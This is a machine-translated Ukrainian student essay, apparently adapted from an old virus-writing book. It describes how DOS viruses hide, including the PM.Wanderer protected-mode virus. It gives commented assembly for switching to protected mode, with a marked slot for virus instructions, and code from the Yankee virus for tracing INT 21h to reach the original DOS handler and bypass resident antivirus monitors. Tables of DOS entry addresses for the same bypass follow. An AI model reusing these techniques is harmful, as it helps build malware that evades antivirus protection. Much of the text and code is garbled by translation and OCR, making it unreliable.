ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Маскування вірусів
         

     

    Інформатика, програмування

    Маскування ВІРУСІВ

    У цьому розділі розказано, як
    може бути захований вірус.
    Описано методи конструі-
    вання прямого звернення
    до DOS для "обману" резіден-
    вольтних антивірусних моніторинг-
    рів. Розглянуто віруси,
    заражає Flash BIOS. Пред-
    подані вихідні тексти
    програм з докладними ком-
    коментарями.

    Protected Mode - укриття для вірусу

    Персональні комп'ютери з року в рік стають дедалі складніше і складність
    неї, використовують все більш високі апаратні і програмні техноло-
    гии. Комп'ютерні віруси теж не відстають і намагаються пристосуватися
    до нових умов проживання. Так, віруси навчилися заражати загрузоч-
    ные сектора дисків, файли для операційних систем DOS, Windows,
    Windows 95, OS/2, Linux і навіть документи Word, Excel, і MS-Office 97.
    Приховуючи свою присутність в системі, вони стали невидимками, або
    стелс-вірусами. Вони навчилися бути поліморфними для того, щоб
    їх розпізнавання стало ще більш важким завданням для розробників
    антивірусних засобів. З появою процесорів i386 віруси стали
    використовувати у своєму коді 32-розрядні інструкції. В даний вре-
    мя поліморфні віруси використовують 32-розрядні розшифровують
    команди у своєму декріпторе.

    Одним словом, віруси хочуть вижити і перемогти. Для цього вони викорис-
    зуются все нові можливості, як програмні, так і апаратні. Але
    захищений режим роботи, що з'явився разом з процесором i286,
    до недавнього часу вірусам ніяк не вдавалося "приручити". Вірніше,
    були "проби пера", але реального вирішення цього завдання вони не дали.

    Завантажувальний вірус PMBS, перший намагався освоїти захищений ре-
    жим (1994 р.), не міг ужитися ні з однією програмою або драйвером
    (EMM386, Windows, OS/2 ,...), які також використовували у своїй робо-
    ті захищений режим. Віруси Evolution.2761 і Evolution.2770 (теж
    1994 р.) використовували тільки частина потужного захищеного режиму і толь-
    до в той час, коли процесор працював в реальному режимі. Дані виру-
    си замінювали реальну таблицю векторів переривань на власну.

    Але, схоже, проблема близька до розв'язання: у Росії в "дикому"
    вигляді виявлений файловий вірус PM.Wanderer, який використовує захисту пра-
    щенний режим. Причому він більш-менш коректно і стабільно вза-
    имодействия з іншими програмами і драйверами, також використовую-
    ські захищений режим.

    PM.Wanderer є резидентним поліморфним вірусом, вико-
    ющім захищений режим процесорів i386-Pentium. Для установки
    своєї резидентного копії в пам'ять і перемикання в захищений ре-
    жим процесора (Protected Mode) вірусом використовується документують-
    ний інтерфейс VCPI (Virtual Control Program Interface) драйвера
    розширеної пам'яті EMS (EMM386).

    При старті інфікованої програми вірусний поліморфний грудня-
    ріптор розшифровує основне тіло вірусу і передає йому управ-
    ние. Далі основний вірусний код виділяє ділянку пам'яті у верхніх
    адресах, копіює в нього власний код і передає йому керування.
    Потім він відновлює код інфікованого файлу в програмному
    сегменті (для ЕХЕ-файлів також робить налаштування адрес пере-
    міщан елементів) і приступає до безпосереднього впровадження
    в пам'ять своєї резидентного копії. .

    У першу чергу вірус намагається вьисніть, чи встановлений у системі драй-
    вер EMS. Якщо цей драйвер не встановлений або вірусна резидентна ко-
    Пія вже знаходиться в пам'яті, вірус віддає управління програм-вірусів-
    носію, закінчуючи тим самим свою "життєдіяльність" в системі.

    Якщо ж "умови середовища існування" сприяють, вірус виконуємо-
    ет ряд підготовчих операцій для виділення пам'яті під своє тіло
    і виробляє перемикання процесора в захищений режим роботи
    з найвищим рівнем привілеїв - режим супервізора.

    У захищеному режимі вірус встановлює дві апаратні контрольні
    точки на адреси входу в обробник переривання INT 21h (функції DOS)
    і переходу на процедуру перезавантаження комп'ютера. Крім того, вірус
    коригує дескріпторную таблицю переривань таким чином, щоб
    на переривання INT 1 (особливий випадок налагодження) і INT 9 (клавіатура) ус-
    тановила власні дескриптори обробників переривань.

    Після цих приготувань вірус копіює свій код в сторінку пам'яті,
    отриману ним ще до входу в захищений режим, і робить пере-
    ключенних процесора назад у віртуальний режим роботи. Потім він
    починає процедуру звільнення раніше виділеної пам'яті DOS
    у верхніх адреси та повертає керування інфікованої програмі.

    З цього моменту інфікована програма починає свою основну
    роботу, а в захищеному режимі виявляються встановленими вірус-
    ные обробники - пастки на INT 1 та переривання від клавіатури на
    INT 9. З їх допомогою вірус контролює, по-перше, всі виклики фун-
    кцій DOS, по-друге, всі натиснення клавіш на клавіатурі, і, по-третє,
    спроби м'якого перезавантаження комп'ютера. У свою чергу, такий конт-
    роль забезпечує вірусу можливість як надійно реагувати на ряд
    цікавлять його подій під час роботи програми, так і постійно
    перевіряти стан двох своїх контрольних точок і при необхідно-
    сті відновлювати їх.

    Зокрема, якщо вірус виявляє, що даний виклик виходить
    від його "побратима", він просто повертає деякий умовне значення,
    що грає роль відкликання "я - свій". Таким чином, вірус, який намагався
    з'ясувати наявність своєї копії в пам'яті, буде поінформований про те,
    що пам'ять вже інфікована.

    Якщо вірус виявляє спробу отримання адреси переривання INT 6
    (зазвичай такий виклик існує в усіх програмах, написаних на
    мовах високого рівня, наприклад С, Pascal), то він 1 "'1тается знайти
    в адресному просторі деяку послідовність байт, очевидно
    що належать програмі ADinf, але якоїсь старої версії. До речі,
    за інформацією розробника ADinf Дмитра Мостового, за останній
    рік у версіях ADinf не міститься така послідовність. Якщо дан-
    ва послідовність вірусом знайдена, він певним чином
    модифікує знайдений код, щоб управління не потрапляло на виклик
    межсегментной процедури, яка демонструє користувачеві знайдені
    на диску або у файлах зміни.

    Якщо ж вірус виявляє запит на запуск програми або відкриття
    файлу (тільки на читання), то розуміє, що настав час "великої
    полювання ". Вірус копіює свій код у старші адреси віртуального про-
    процесу DOS-машини, перемикає процесор у віртуальний режим
    і віддає управління свого коду (процедури зараження).

    У віртуальному режимі вірус перевіряє останні дві букви розширенням-
    ня імені файлу (ОМ або ХЕ), створює свою поліморфну копію
    і заражає файли розміром більше 4095 байт. Файли, що містять
    в поле значення часу створення 34 секунди, вірус не заражає, вва-
    тая їх вже інфікованими. Коректування атрибутів файлів вірус
    не виробляє, тому всі файли, що позначені як "тільки для чте-
    ня ", заражені не будуть. Також вірус не заражає програми, ім'я ко-
    торих складається з 7 букв. Імена цих програм з'ясувати не вдалося,
    так як вірус не визначає їх імена явно, а підраховує CRC име-
    ні. Вірус не бере на себе обробку критичних помилок, тому при
    спробі запису на захищений диск в процесі зараження з'явиться
    стандартне запитання DOS (... Retry, Ignore, Fail, Abort).

    При зараженні файлів вірус використовує прямий виклик ядра обработчі-
    ка DOS INT 21h. Адреса цього ядра він з'ясовує при трасуванні INT 21h
    під час своєї установки в пам'ять. Вірусний код впроваджується в початок
    СОМ-або в середину ЕХЕ-файла (відразу ж після заголовка). Ориг-
    ний програмний код запам'ятовується в кінці файлу. Реальний

    робочий код вірусу складає 3684 байт, але на практиці інфікований-
    ные файли мають збільшення довжини більше 3940 байт. У тілі вірусу
    міститься текст "WANDERER".

    Виявити резидентну копію даного вірусу, що знаходиться в нулі-
    вом кільці захищеного режиму процесора, звичайними способами не-
    можливо. Для цього необхідно перемикатися в захищений режим
    з найвищими привілеями і проводити його пошук. Але спробувати
    виявити ознаки вірусу в системі можна і звичайними способами.

    Після виявлення вірусу рекомендується, як і завжди в таких випад-
    ях, перезавантажитися з системної дискети і виконати лікування в завідувач-
    мо стерильних умовах. Щоправда, цей вірус не є Stealth-ві-
    русом, і його лікування допустимо навіть при активному вірус.

    Тепер трохи про результати тестування. При зараженні несколь-
    ких тисяч файлів-жертв вірус проявив себе як "мешканець" - все зара-
    женние файли виявилися працездатними. Тут треба зробити по-
    правку - файли можуть виявитися непрацездатними в тому випадку,
    якщо їх стек після зараження опиниться в області вірусного коду.
    PM.Wanderer при зараженні файлів не коректує значення стар-
    тових SS: SP в ЕХЕ-заголовку. Як вже зазначалося вище, він зберігає
    здатність до відтворення тільки в тому випадку, якщо в системі уста-
    новлено драйвер EMS (EMM386). При встановленому драйвері EMM386
    з ключем NOEMS вірус перезавантажує комп'ютер. Перезавантаження також
    можлива, якщо в системі використовується драйвер QEMM386.

    Найцікавіше, що якщо в системі знаходився резидентний вірус,
    а потім відбулася завантаження Windows 3.1 або Windows 95, то вірус не
    зможе розмножуватися в цих операційних середовищах, але при виході
    в DOS він знову отримує управління і може "трудитися, не покладаючи
    рук ". Якщо ж вірус буде запущений в DOS-сесії Windows, то з-за
    відсутності інтерфейсу VCPI вірус не зможе перейти до захисту пра-
    щенний режим. При відсутності VCPI під OS/2 вірус також нежізнес-
    посібників.

    Можливо, у недалекому майбутньому комп'ютерний вірус зможе полнос-
    ма замінити своїм кодом програму-супервізора і сам буде підтри-
    проживати інтерфейси DPMI, EMS/VCPI, XMS, INT 15h. Хто знає.

    Наведена нижче програма дозволяє програмісту перекласти про-
    цессора в захищений режим. У цьому режимі вірус може, наприклад,
    розшифрувати деякі дані.

    Дана програма робить наступне:

    - створює таблиці GDT і LDT, використовуючи поточні значення
    CS.DS.SS

    - забороняє всі переривання, відкриває лінію А20
    для доступу до RAM> 1 Мбайт

    - переводить процесор в захищений режим

    - в перший символ рядка qw заносить символ L

    - виходить в реальний режим

    - дозволяє переривання, закриває А20-т

    - виводить на екран рядок qw ( "Light General")

    - вихід в DOS

    .286

    . model tiny
    . code
    org 100h

    Визначення для захищеного режиму роботи програми
    ; Структура дескриптора
    desc_struc STRUC
    limit dw 0
    baseJ dw 0
    base_h db 0
    access db 0
    rsrv dw 0

    desc_struc ENDS

    ACC_PRESENT equ WOOOOOOb
    ACC_CSEG equ OOO-MOOOb
    ACC_DSEG equ 000-IOOOOb
    ACC_EXPDOWN equ 000001 OOb
    ACC_CONFORM equ 000001 OOb
    ACC_DATAWR equ 0000001 Ob

    DATA_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR
    ; 1001001 Ob

    CODE_ACC = ACC_PRESENT or ACC.CSEG or ACC_CONFORM
    ; 10011100b

    STACK_ACC = ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
    ACC.EXPDOWN; 1001011 Ob

    ; Розміри сегментів (реальні розміри на одиницю більше)
    CSEG SIZE = 65535

    DSEG_SIZE = 65535
    STACK_SIZE = 65535

    [Зсув використовуваних дескрипторів
    CS_DESCR = (gdt_cs-gdt_0)
    DS_DESCR = (gdt_ds-gdt_0)
    SS_DESCR = (gdt_ss-gdt_0)

    ; Константи значень портів?
    CMOS_PORT equ 70h
    STATUS_PORT equ 64h
    SHUTDOWN equ OFEh
    A20_PORT equ OD1h
    A20_ON equ ODFh
    A20_OFF equ ODDh
    INT_MASK_PORT equ 21 h
    KBD_PORT_A equ 60h
    start:

    . Ініціалізіруем необхідні дані для переходу
    ; в захищений режим

    call init_protected_mode

    [Переходимо в захищений режим
    call set_protected_mode

    ; Тепер комп'ютер працює в захищеному режимі!
    ; Так як таблиця переривань реального режиму не може бути

    використана в захищеному, переривання заборонені!
    ; Саме тут можна вставити інструкції, потрібні вірусу
    . Повертаємося до реального режиму
    call set_real_mode

    [Друкуємо повідомлення "Light General"
    mov ah, 09h
    lea dx.qw
    int 21 h

    ; Виходимо в DOS
    mov ax, 4COOh
    int 21 h

    [Макрокоманда для встановлення адреси для дескриптора
    ; в глобальній таблиці дескрипторів GDT.
    ; На вході регістри DLAX повинні містити
    . Абсолютний адреса сегмента
    setgdtentry MACRO

    mov [desc_struc.base_l] [bx], ax

    mov [desc_struc.base_h] [bx], dl
    ENDM

    • <

    ; Процедура ініціалізації необхідних даних
    . для переходу в захищений режим
    init_protected_mode PROC

    обчислюємо абсолютний адреса для сегменту даних
    ; у відповідності зі значенням регістра DS

    mov ax.ds

    mov dl.ah

    shr dl, 4

    shi ax, 4

    ; Встановлюємо адресу сегменту даних
    ; в глобальній таблиці дескрипторів

    mov bx, offset gdt_ds

    setgdtentry

    ; Обчислюємо абсолютний адреса для сегменту GDT: додаємо
    ; до вже вирахуваній абсолютному адресою сегменту даних
    ; зміщення у ньому таблиці дескрипторів

    add ax, offset gdtr

    adc dl.0

    Зупиняємо адресу сегменту GDT
    ; в глобальній таблиці дескрипторів

    mov bx.offset gdt_gdt

    setgdtentry

    ; Обчислюємо абсолютний адреса для сегменту коду
    ; у відповідності зі значенням регістра CS

    mov ax, cs

    mov dl.ah

    shr dl, 4

    shi ax, 4

    . Встановлюємо адресу сегменту коду
    ; в глобальній таблиці дескрипторів

    mov bx, offset gdt_cs

    setgdtentry

    [Обчислюємо абсолютний адреса для сегменту стека
    ; у відповідності зі значенням регістра SS

    mov ax.ss

    mov dl.ah

    shr dl, 4

    shi ax, 4

    Зупиняємо адресу сегменту стека
    ; в глобальній таблиці дескрипторів

    mov bx, offset gdt_ss

    setgdtentry

    перехоплюємо рестарт. Так як процесор i286 (а ця програма
    [розрахована саме на такий процесор) не має можливості
    ; повернення в реальний режим із захищеного, повернення в реальний
    режим будемо проводити наступним чином: перехопимо рестарт,
    . згенеруємо CPU Reset, після якого отримаємо управління, коли
    Процесор буде знаходиться вже в реальному режимі. На процесорі
    ; i386 повернення до реального режиму відбувається
    [значно простіше і "природніше".

    push ds

    mov ax, 40h

    mov ds, ax

    mov word ptr ds: [0067h], offset shutdown_return

    mov word ptr ds: [0069h], cs

    pop ds

    [Забороняємо маскіруемие переривання
    cli

    in al, INT_MASK_PORT
    or al.OFFh
    out INT_MASK_PORT, al

    [Забороняємо немаскіруемие переривання. Дана послідовність
    ; команд не забороняє "незапрещаемие" переривання в процесорі
    [(цього зробити за визначенням не можна), а "не пускає" сигнал

    [немаскіруемого переривання до процесора

    mov al, 8Fh

    out CMOS_PORT, al

    jmp $ 2

    mov al, 5

    out CMOS_PORT 1, al

    ret
    init_protected_mode ENDP

    [Підпрограма, переводить процесор в захищений режим
    set_protected_mode PROC

    . Відкриваємо адресну лінію А20 для доступу понад 1Мбайт.
    ; При закритій лінії адресний простір
    [ "зациклюється" в межах 1Мбайт
    call enable_a20

    . Зберігаємо значення регістра SS для реального режиму
    mov real_ss, ss

    [Перекладаємо компілятор Turbo Assembler в покращений режим.
    [IDEAL - це не команда і не оператор, це директива, що впливає
    [тільки на інтерпретацію подальших рядків лістингу

    ideal

    р286

    [Завантажуємо регістр глобальної таблиці дескрипторів GDTR
    Igdt [QWORD gdt_gdt]; db OFh, 01h, 16h dw offset gdt_gdt

    [Перекладаємо процесор у захищений режим
    mov ax, 0001h
    Imsw ax; db OFh, 01h, FOh

    [Перекладаємо компілятор Turbo Assembler тому в режим MASM
    masm
    .286

    [Виробляємо довгий перехід для того,
    . щоб очистити внутрішню чергу
    . команд процесора

    jmp far flush

    db OEAh

    dw offset flush

    dw CS_DESCR
    flush:

    Зупиняємо в регістр SS селектор сегмента стека
    mov ax, SS_DESCR
    mov ss.ax

    ; Встановлюємо в регістр DS селектор сегменту даних
    mov ax, DS_DESCR
    mov ds.ax

    . Записуємо в рядок qw символ "L" і виходимо з підпрограми

    mov byte ptr ds: [off set qw 2], "L"

    ret
    set_protected_mode ENDP

    Підпрограма, яка повертає процесор до реального режиму
    set_real_mode PROC

    [Зберігаємо значення регістра SP для реального режиму
    mov real_sp, sp

    . Виконуємо CPU Reset (рестарт процесора)
    mov al, SHUT_DOWN
    out STATUS_PORT, al

    ; Чекаємо, поки процесор перезапуститься
    wait_reset:

    hit

    jmp wait_reset

    ; C цього місця програма виконується після перезапуску процесора
    shutdown_return:

    ; Встановлюємо регістр DS відповідно до регістром CS
    push cs
    pop ds

    відновлюємо покажчики на стек
    ; за раніше збережених значень

    mov ss, real_ss

    mov sp, real_sp

    [Закриваємо адресну лінію А20
    call disable_a20

    . дозволяємо немаскіруемие переривання
    mov ax.OOOdh
    out CMOS_PORT, al

    [дозволяємо маскіруемие переривання

    in al, INT-MASK_PORT

    and al, 0

    out INT_MASK_PORT, al

    sti

    ret
    set_real_mode EN DP

    [Процедура, що відкриває адресну лінію А20. Після відкриття

    [адресної лінії програмами буде доступна пам'ять понад 1Мбайт
    enable_a20 PROC

    mov al, A20_PORT

    out STATUS_PORT, al

    mov al, A20_ON

    out KBD_PORT_A.al

    ret
    enable_a20 ENDP

    [Процедура, що закриває адресну лінію А20. Після закриття
    [адресної лінії програмами буде недоступна пам'ять понад 1Мбайт.
    [Адресний простір буде "зацикленим" в межах 1Мбайт
    disable_a20 PROC

    mov al.A20_PORT

    out STATUS_PORT, al

    mov al, A20_OFF

    out KBD_PORT_A, al

    ret
    disable_a20 ENDP

    [Тут зберігається адреса стека
    real_sp dw?
    real_ss dw?

    [Цей рядок виводиться на екран після роботи програми
    [Символ "?" замінюється на "L" в захищеному режимі

    qw db 13,10, "? ight General", 13,10, "$"

    ; Глобальная таблиця дескрипторів. Нульовий дескриптор

    обов'язково повинен бути "порожнім"

    GDT_BEG = $

    gdtr label WORD

    gdt_0 desc_struc

    gdt_gdt desc_struc

    gdt_ds desc_struc

    gdt_cs desc_struc

    gdt_ss desc_struc

    GDT_SIZE = ($-GDT_BEG)

    END start

    Обхід резидентних антивірусних моніторів

    Зазвичай всі програми використовують сервіс DOS так:

    mov ah ,...< br> int 21 h

    За командою INT управління передається в точку, адреса якої визначаються-
    ється двома словами, що знаходяться в таблиці векторів переривань
    за адресою 0000h: 0084h. З цього моменту починається виконання команд
    численних обробників переривання INT 21h і не менш многочіс-
    лених резидентних програм до тих пір, поки управління, нарешті,
    не отримає оригінальний обробник операційної системи (рис. 5.1.):


    Зрозуміло, серед цих численних обробників може "затесатися"
    обробник, що належить антивірусний монітор, який не дає
    спокійно працювати не тільки вірусам, але і звичайним програмами.

    Тому серйозні віруси і деякі добре написані програми
    намагаються визначити адресу оригінальному обробника і звернутися
    до нього прямо, в обхід інших обробників:

    mov ah ,...< br> pushf

    call dword ptr 021

    021 dw?

    S21 dw?

    Але антивірусні монітори враховують цю можливість і беруть
    свої заходи.

    Визначення адреси оригінальному обробника DOS

    Для того щоб звернутися до DOS безпосередньо, потрібно знати адресу ориг-
    нального обробника. Отримати цю адресу не так просто.

    Метод трасування

    Найчастіше використовується метод трасування за допомогою налагоджувальному
    переривання INT 1. Суть методу полягає в тому, що вірус трасують-
    ет переривання INT 21h (включає прапор трасування, при цьому після
    кожної команди відбувається переривання INT 1) і перевіряє значення
    сегмента, в якому йде обробка переривання. Якщо значення сегм-
    та менше ОЗООЬ, то це обробник DOS. Наприклад, так робив мно-
    го років тому вірус Yankee 2C (М2С, Музичний). Ось лістинг соот-
    відповідне фрагменту з коментарями:

    ; Беремо з таблиці векторів переривань поточну адресу INT 01 h
    mov ax, 3501 h
    int 21h

    mov si.bx; зсув зберігаємо в регістрі SI
    mov di.es; сегмент зберігаємо в регістрі DI

    Зупиняємо свій оброблювач INT 01h
    mov ax, 2501h
    mov dx, offset lnt01
    int 21h

    ; Формуємо в стеку адресу виходу з трасування так, щоб по IRET
    ; з INT 21h потрапити на мітку Next - поміщаємо в стек
    . послідовно прапори, сегмент і зсув мітки Next

    pushf

    push cs

    mov ax, offset Next

    push ax

    ; Починаємо трасування INT 21 h. Для цього потрібно підготувати стек
    ; наступним чином: помістити в нього прапори з увімкненим прапором
    ; трасування, а також сегмент і зсув поточного обробника
    ; INT 21 h. Потім можна виконати команду IRET - програма запустить
    . поточний обробник і вважає з стека прапори (прапор трасування
    ; під флагової регістрі включиться, почнеться трасування. Після
    . кожної команди процесора буде запускатися INT 01 h).
    ; Поміщаємо в стек прапори, включаємо до них біт, відповідний
    ; прапора трасування TF. Для того, щоб включити прапор
    . Трасування TF, після збереження прапорів у стеку вважаємо їх
    ; в регістр АХ, в ньому включимо відповідний біт, а потім
    . збережемо регістр АХ в стеку

    pushf

    pop ax

    or ax, 0100h

    push ax

    ; Вважаємо з таблиці векторів переривань поточну адресу INT 21 h
    mov ax, 3521 h
    int 21 h

    [Збережемо в стеку сегмент, а потім і зсув поточного обробника
    push es
    push bx

    [Встановимо в регістрі АН номер будь-якої необразливої функції
    ; (щоб визначення адреси обробника DOS
    ; не супроводжувалось руйнуваннями)
    mov ah.OBh

    . Запускаємо трасування
    cli
    iret

    [Оброблювач INT 01 h
    lnt01:

    ; Коли Ви робите обробника в стеку знаходяться: значення регістра IP,
    ; значення регістра CS, прапори перед перериванням.
    [Адресуємося до стека за допомогою регістра ВР,

    [Попередньо зберігши поточне значення ВР
    push bp
    mov bp.sp

    ; Тепер в стеку знаходяться:

    ; SS: [BP] - ВР
    ; SS: [BP +2] - IP
    ; SS: [BP 4] - CS
    ; SS: [BP +6] - прапори
    ; Перевіряємо прапор продовження
    cmp byte ptr cs: ContinueFlag, 1

    ; Якщо прапор продовження вимкнено, то виходимо з трасування
    jne TraceOff

    [Перевіряємо поточну адресу. Якщо сегмент менше 300h,
    обробник DOS досягнуто, інакше - продовжуємо трасування
    ; і виходимо з обробника

    cmp word ptr [bp +4], 300h

    jnc ExitFromInt

    [Досягнуто DOS - беремо з стека адреса обробника і зберігаємо його
    push bx

    mov bx, [bp +2]
    mov word ptr cs: 021, bx
    mov bx, [bp +4]
    mov word ptr cs: S21, bx
    pop bx

    . Закінчуємо обробку переривання і подальшу трасування
    TraceOff:

    [Встановлюємо в нуль біт, відповідний TF,
    ; в копії регістра прапорів у стеку
    and word ptr [bp +6], OFEFFh

    [Встановлюємо в нуль прапор продовження

    mov byte ptr cs: ContinueFlag, 0
    ExitFromInt:

    pop bp

    . Виходимо з обробника
    i ret

    [Відновлення після трасування
    Next:

    [скидаємо прапор продовження
    mov byte ptr ds: ContinueFlag, 0

    [Відновлюємо колишнє значення вектора переривання INT 01 h
    mov ax, 2501 h
    mov dx.si
    mov ds.di
    int 21 h

    В даний час цей алгоритм можна вважати кілька заста-
    шим. Справа в тому, що сучасні версії DOS можуть розміщувати свій
    обробник в областях верхньої пам'яті. Тому умова закінчення
    трасування має виглядати, наприклад, так:

    cmp word ptr [bp +4], 300h
    jb loc_65

    cmp word ptr [bp +4], OFOOOh
    ja loc_65

    В якості альтернативного варіанту можна використовувати такий прийом.
    Спочатку визначається вихідний сегмент DOS за допомогою недокумен-
    тірованной функції 52h переривання INT 21h (повертає адресу століття-
    битим таблиці зв'язку DOS):

    mov ah, 52h

    int 21h

    mov SegDOS, es

    Тоді умова завершення трасування можна оформити
    наступним чином:

    push ax

    mov ax, cs: SegDOS

    cmp word ptr [bp +6], ax

    pop ax

    jz DOSIsGot

    Зрозуміло, різні прийоми можуть дати різні результати. Причому всі
    результати можна вважати в тій чи іншій мірі коректними. Справа
    в тому, що сучасні версії DOS, навіть будучи завантаженими в верх-
    нюю пам'ять, завжди мають точку входу в нижній пам'яті виду:

    пір
    пір

    [Перевірка стану адресної лінії А20
    call Check_A20

    [Перехід у верхню пам'ять
    jmp cs: dword ptr HI_DOS

    З точки зору обходу резидентних моніторів "правильним" слід
    визнати адреса в обробнику DOS, що має максимальне значення.
    Ми ще повернемося до питання про знаходження "правильного" адреси далі.

    Автори антивірусних моніторів знають про подібний прийомі пошуку ори-
    гінального адреси DOS. Досить легко зіпсує трасування, на-
    приклад, ось такий ось фрагмент, вбудований в ланцюжок обробників:

    . Викликаємо обробник переривання INT 60h (до цього моменту
    [Переривання INT 60h повинно бути перехоплено)
    int 60h

    ; Сюди потрібно повернутися з переривання
    пір

    [Сюди реально повернемося, і прапор трасування буде скинуто,
    ; тобто трасування буде припинено
    пір

    [Оброблювач переривання. Коли Ви робите переривання прапор трасування
    . Скидається - при вході в обробник трасування буде вимкнено
    lnt60:

    [Дозвіл переривань, тому що при виході з обробника НЕ
    [буде відновлюватися оригінальне значення регістра прапорів

    sti

    [Збільшуємо на одиницю адреса повернення в стеку
    push bp
    mov bp, sp
    add [bp +2], 1
    pop bp

    [Виходимо з переривання, але не командою IRET, а командою RETF 2,
    . щоб не відновлювати прапори (і, як наслідок,

    . прапор трасування TF)
    retf 2

    Крім того, факт трасування можна досить просто виявити,
    застосувавши добре відомий розробникам захистів від несанкціонований-
    ного копіювання прийом апаратного конвеєра, який використовує
    процесор для прискорення роботи. При виконанні чергової команди
    процесор зчитує код наступної. Коли прийде час виконання
    наступної команди, вона буде вже зчитана з пам'яті, і не потрібно бу-
    дет витрачати час на її читання. Прийом полягає в модифікації ко-
    Манділ, які вже опинилися в конвеєрі: якщо трасування не ведеться,
    то код команд модифікується тільки в пам'яті, а виконується та про-
    грама, яка знаходиться в конвеєрі. Якщо трасування ведеться, то
    конвеєр скидається перед кожною командою трасуванню програм-
    ми (конвеєр скидають такі команди, як JMP, CALL, RET) і ви-
    виконується модифікований код.

    Кодіфіціруем наступну команду. Команда JMP (безумовний
    ; перехід) замінюється на дві команди NOP (немає операції)
    mov Metka, 9090h

    Переходимо, якщо виконується не модифікований код (у випадку,
    ; коли трасування не ведеться), і проходимо далі, якщо виконується
    кодифікований код (у разі трасування)
    Metka: jmp NoTrace
    Trace:

    ; Сюди потрапимо при виявленні факту трасування
    NoTrace:

    Трасування не ведеться - нормальне виконання програми

    Нарешті, останній цвях у труну ідеї використання трасування за-
    біт: "Виставлений прапор трасування можна виявити побічно, замас-
    кіровав апаратні переривання, помістивши в [SP-1] контрольне значен-
    ня і дав інструкцію STI. Тоді по зміні слова в стеку можна
    судити, було трассіровочное переривання чи ні ".

    Виявивши факт трасування переривання DOS, монітори починають видав-
    вать про це відповідні повідомлення, тому навіть не самий
    досвідчений користувач здогадається, що хтось (наприклад, вірус) катує-
    ся потрапити в систему.

    Метод предопределенньш адрес

    Переходимо до методу визначення оригінальному адреси точки входу
    в DOS, заснованому на тому, що ці адреси для різних версій і конфі-
    гурацій DOS мають у загальному випадку різні значення, але число
    їх обмежена. А це означає, що їх можна просто-напросто вибирати
    з таблиці (причому не дуже великий). Прийом не новий, але незаслу-
    женно забутий.

    Маючи програму, засновану на одному з раніше описаних способів
    визначення реальної адреси обробника DOS, завантажувальні дискети
    з різними версіями DOS і трохи терпіння, можна отримати при-
    мірно ось таку інформацію.

    Оригінальний обробник DOS версії 3.30 завжди має вигляд:

    . Точка Про
    2Е CS:

    891ЕВ800 MOV [ООВ8], ВХ
    2Е CS:

    8С06ВАОО MOV [OOBA], ES
    СВ RETF

    . Точка 1
    2Е CS:

    3A26FFOD СМР AH, [ODFF]
    77DC JA 1443
    80FC51 СМР АН, 51
    74А1 JZ 140D

    80FC64 СМР АН, 64
    74ВА JZ 143A
    ; Точка 2

    Оригінальні обробники DOS версій 5.0-7.0 дуже схожі.
    У загальному випадку вони складаються з таких фрагментів:

    Фрагмент 1 (якщо він присутній) завжди розташовується в нижніх ад-
    ресах пам'яті. Більшість алгоритмів трасування закінчують робо-
    ту, досягши цієї точки. Для DOS версій 5.0-6.22 цей фрагмент при-
    сутствуєт, якщо в CONFIG.SYS є рядок DOS = HIGH (поза
    залежно від того, чи здійснюється запуск що підтримує цю
    опцію драйвера HIMEM.SYS). Якщо драйвера немає, то JMP FAR просто

    вказує на фрагмент 2, розміщуються в нижніх областях пам'яті.
    Якщо рядка DOS = HIGH немає, то фрагмент 1 виродилися (складається з од-
    ної команди внутрісегментного переходу), і обробник складається
    з фрагменту 2.

    ; Точка Про

    90 МОР

    90 NOP

    E8CCOO CALL CheckA20

    2E CS:

    FF2E6A10J MP FAR NEXTDOS

    Фрагмент 2 може розташовуватися як у верхніх, так і в нижніх адре-
    сах пам'яті.

    ; Точка 1
    NEXTDOS:

    FA CLI
    80FC6C СМР АН.6С
    77D2 JA 40DO

    80FC50 СМР АН.50
    748Е JZ 40A9
    ; Точка 2

    Для DOS 7.0 структура обробника, загалом, така ж. Виняток -
    фрагмент 1 присутня завжди, незалежно від вмісту фай-
    ла CONFIG.SYS. Тепер наведемо конкретні значення адрес, напів-
    ченние для різних випадків:

    DOS 7.0 (російська версія)

    Точка Про OOC9: OFB2 9090
    Точка 1 FF03: 41E7 80FA
    Точка 2 FF03: 420A 1E06
    Точка 2А FF03: 5333 2ACD

    DOS 6.20

    device = himem. sys
    dos = high

    Точка Про 0123:109 Е 9090
    Точка 1 FDC8: 40F8 80FA
    Точка 2 FDC8: 411B1E06
    Точка 2А FDC8: 41D12ACD

    DOS 6.20
    dos = high

    Точка Про 0123:109 Е ОЗЕВ
    Точка 1 03AC: 40F8 80FA
    Точка 2 ОЗАС: 411В 1Е06
    Точка 2А 03AC: 41D1 2ACD

    DOS 6.20

    Точка 1 002A: 40F8 SOFA
    Точка 2 002А: 411В 1Е06
    Точка 2А 002A: 41D1 2ACD

    DOS 5.0

    device = himem. sys
    dos = high

    Точка Про 0123:109 Е 9090
    Точка 1 FDC8: 40EB80FA
    Точка 2 FDC8: 410E 1Е06
    Точка 2А FDC8: 41C42ACD

    DOS 5.0

    dos = high

    Точка Про 0123:109 Е ОЗЕВ
    Точка 1 03AC: 40F8 80FA
    Точка 2 ОЗАС: 411В 1Е06
